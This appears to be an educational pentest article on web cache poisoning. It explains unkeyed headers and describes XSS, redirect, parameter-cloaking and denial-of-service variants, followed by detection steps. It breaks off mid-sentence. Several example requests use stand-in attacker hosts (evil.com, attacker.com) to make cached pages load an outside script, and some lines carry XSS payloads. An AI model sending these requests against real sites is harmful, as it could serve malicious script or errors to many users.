Web Cache Poisoning - Cache-basierter Angriff
Web cache poisoning is an attack in which an attacker uses unkeyed HTTP headers or parameters to inject malicious content into a web cache. This cached content is then served to other users without contacting the origin server. Attack vectors: manipulated HTTP headers (X-Forwarded-Host, X-Forwarded-Scheme), fat cookies, query string parameters. Result: XSS, open redirect, denial of service against many users simultaneously.
Web Cache Poisoning is one of the most insidious classes of vulnerabilities—an attacker sends a single request that gets cached, and subsequently, potentially thousands of users receive malicious content. No direct access to other users is required: the cache handles the delivery.
Cache Mechanism and Keyed vs. Unkeyed
Normal Request Flow:
Client → CDN/Reverse Proxy → (Cache Miss) → Origin Server → Client ← CDN (Response cached)
Next Request: Client → CDN → (Cache Hit!) → Cached Response (no server contact!)
Cache Key (which identifies the cache entry):
- Standard: URL + HTTP method
- Optional: Accept-Encoding, Accept-Language, Cookies
Unkeyed Inputs (ignored by the cache, but processed by the origin!):
X-Forwarded-Host: evil.comX-Forwarded-Scheme: httpX-Forwarded-Port: 8080X-Host: attacker.comX-Original-URL: /adminX-Forwarded-For: 127.0.0.1- Certain HTTP headers (Via, X-Rewrite-URL)
- Unknown query parameters:
?utm_content=<xss>
Attack principle:
- Attacker sends a request with a malicious unkeyed header
- Origin server processes this header (e.g., constructs a URL from it)
- Response contains attacker content and is cached WITHOUT the header
- Other users receive the same cached response
> Critical: Origin reflects unkeyed inputs in responses! Example: X-Forwarded-Host → is reflected in <script src="..."> eingebettet.
Angriffstypen
1. Web Cache Poisoning → XSS
GET /page HTTP/1.1
Host: victim.com
X-Forwarded-Host: evil.com
Origin-Response (gecacht!):
<script src="https://evil.com/static/analytics.js"></script>
All subsequent users receive XSS payload via cache!
Variant - Query Parameter Reflection:
GET /search?<script>alert(1)</script>
term=&utm;_content=CACHE HTTP/1.1
→ If `utm_content` is unkeyed: Response is cached WITH XSS in term reflection!
2. Cache Poisoning → Open Redirect
GET / HTTP/1.1
Host: victim.com
X-Forwarded-Scheme: http (Origin builds redirect: http://victim.com/ → 301)
→ Cached 301 redirect to http (instead of https) → Downgrade attack + potential MITM chain
3. Fat GET Body / Parameter Cloaking
GET /api/data?legit=param HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
param=value&evil;=injected
- Some servers treat GET bodies as parameters (non-standard!)
- Cache only uses the URL query string as a key, not the body
- GET body parameters are "unkeyed"!
4. Cache Key Normalization Bypass
GET /admin HTTP/1.1 ← Admin page (not cached due to auth)
GET /ADMIN HTTP/1.1 ← Same response? Cache normalizes to /admin?
Application:
- Cache normalizes away the port number:
:443is ignored - Cache normalizes URL encoding:
%2F=/ - Attacker sends
/admin%2F?poison=1→ cached redirect to/admin/
5. Cache Poisoning → Denial of Service
GET /critical-resource HTTP/1.1
X-Forwarded-Scheme: https (if only HTTP is allowed: 400 Error!)
- Origin responds with 400 Bad Request
- Cache caches the 400 error for
/critical-resource - All users receive a 400 error for all requests!
- Complete service disruption!
Detection in a Penetration Test
1. Burp Extension: param-miner
- Automatically finds unkeyed headers and parameters!
- Installation: Burp App Store → param-miner
- Easy start: Right-click → Guess headers/params
2. Manual Testing - Identifying unkeyed headers
a) Understanding cache behavior:
- Multiple requests: First time cache miss (
X-Cache: MISS) - Second time: Cache hit (
X-Cache: HIT) - Verify: Use a unique cache buster in the URL:
GET /page?cachebuster=abc123
b) Test unkeyed headers:
GET /page?cb=001 HTTP/1.1
X-Forwarded-Host: test.com
→ Response: Does it contain "test.com"? (Reflection!)
→ Next request (without headers, same URL):
GET /page?cb=001 HTTP/1.1
→ Is "test.com" still in the response? → The header is UNKEYED!
3. Finding dangerous reflection points
Search for unkeyed header content in the response:
- `